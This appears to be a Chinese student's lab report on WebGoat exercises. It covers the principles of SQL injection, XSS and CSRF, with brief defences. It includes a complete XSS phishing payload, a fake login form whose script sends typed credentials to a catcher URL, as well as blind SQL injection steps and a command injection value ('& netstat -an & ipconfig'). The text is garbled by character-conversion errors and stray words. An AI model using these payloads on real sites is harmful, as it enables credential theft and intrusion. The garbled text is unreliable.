(1)SQL注入攻击原理,如何防护java
原理:经过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程当中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登陆、显示信息等目的。web
防护:对输入进行限制,包括输入长度和特殊字符的类型等(2)XSS攻击的原理,如何防护sql
原理:XSS是一种常常出如今web应用中的计算机安全漏洞,它容许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者能够利用XSS漏洞旁路掉访问控制。数据库
防护:收集JSP特征,对内容进行严格验证,规定格式。(3)CSRF攻击原理,如何防护浏览器
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用,经过假装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。安全
防护:在浏览器会话结束后清理cookie,在form中包含秘密信息、用户指定的代号做为cookie以外的验证。cookie
执行java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
原理:某些 SQL 注入是没有明确返回信息的,只能经过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。 目标:该题目容许输入一个账号,并检测该账号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。咱们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,经过该题目。网络
直接拿测好的数据进行注入
session
右键复选框,选择inspect Element,在某个选项后加上"& netstat -an & ipconfig"
xss
在页面中选择该选型,而后点击view,则会出现该命令执行的结果
感想:
作了这么多练习,感受颇有成就感,尤为是在这几个练习中,遇到了这样那样的问题,后来都经过本身的自主学习解决了。这种在自主学习以后,动手实践,发现问题、解决问题的过程,不只给予了我更多学习的信心和动力,也让我在不断解决问题的过程当中提高了本身各方面的能力,掌握了更全面的知识。